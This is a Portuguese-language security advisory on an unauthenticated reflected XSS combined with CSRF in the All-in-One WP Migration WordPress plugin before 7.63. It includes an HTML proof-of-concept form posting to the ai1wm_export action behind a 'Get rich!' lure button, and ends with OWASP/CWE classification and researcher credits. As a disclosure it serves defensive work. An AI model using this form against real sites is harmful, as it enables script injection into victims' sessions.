
All-in-One WP Migration < 7.63 - XSS Refletido Não Autenticado + CSRF
O plugin usa o tipo de conteúdo errado para, e não escapa adequadamente a resposta da ação ai1wm_export, permitindo que um atacante crie uma requisição que, quando submetida por qualquer visitante, irá injetar html ou javascript arbitrário na resposta que será executada na sessão da vítima.
Para reproduzir a falha, podemos exportar todo o conteúdo do site pelo plugin e inserir um nome inválido no nome do arquivo de saída.
Ao validar a vulnerabilidade, é possível combinar o ataque com um CSRF, que forçará o navegador da vítima a enviar uma requisição com o payload.
<form action="https://example.com/wp-admin/admin-ajax.php?action=ai1wm_export&ai1wm_import=1" method="POST">
<!--
Note: The secret key must be obtained through other means.
It is stored in the site option `ai1wm_secret_key`, but is
static for the lifetime of the site.
-->
<input type="hidden" name="secret_key" value="[secret_key]">
<input type="hidden" name="ai1wm_manual_export" value="1">
<input type="hidden" name="archive" value="">
<input type="submit" value="Get rich!">
</form>
All-in-One WP Migration < 7.63
Tipo: Cross-Site Scripting
OWASP TOP 10: A03:2021-Injection
CWE: CWE-79 Neutralização Incorreta da Entrada Durante a Geração de Páginas Web ('Cross-site Scripting')
Geovanni Campos (GeoZIN), Thiago Martins (Kirito), Jorge Buzeti (R3tr0), Leandro Inacio (Saitama), Lucas de Souza (Sinnat), Matheus Oliveira (Froyd), Filipe Baptistella (Baptistella), Leonardo Paiva (Megatron), Jose Thomaz (Pip3r), Joao Maciel (Yohan), Vinicius Pereira (Vini), , Hudson Nowak (Nowak) e Guilherme Acerbi (Ghost).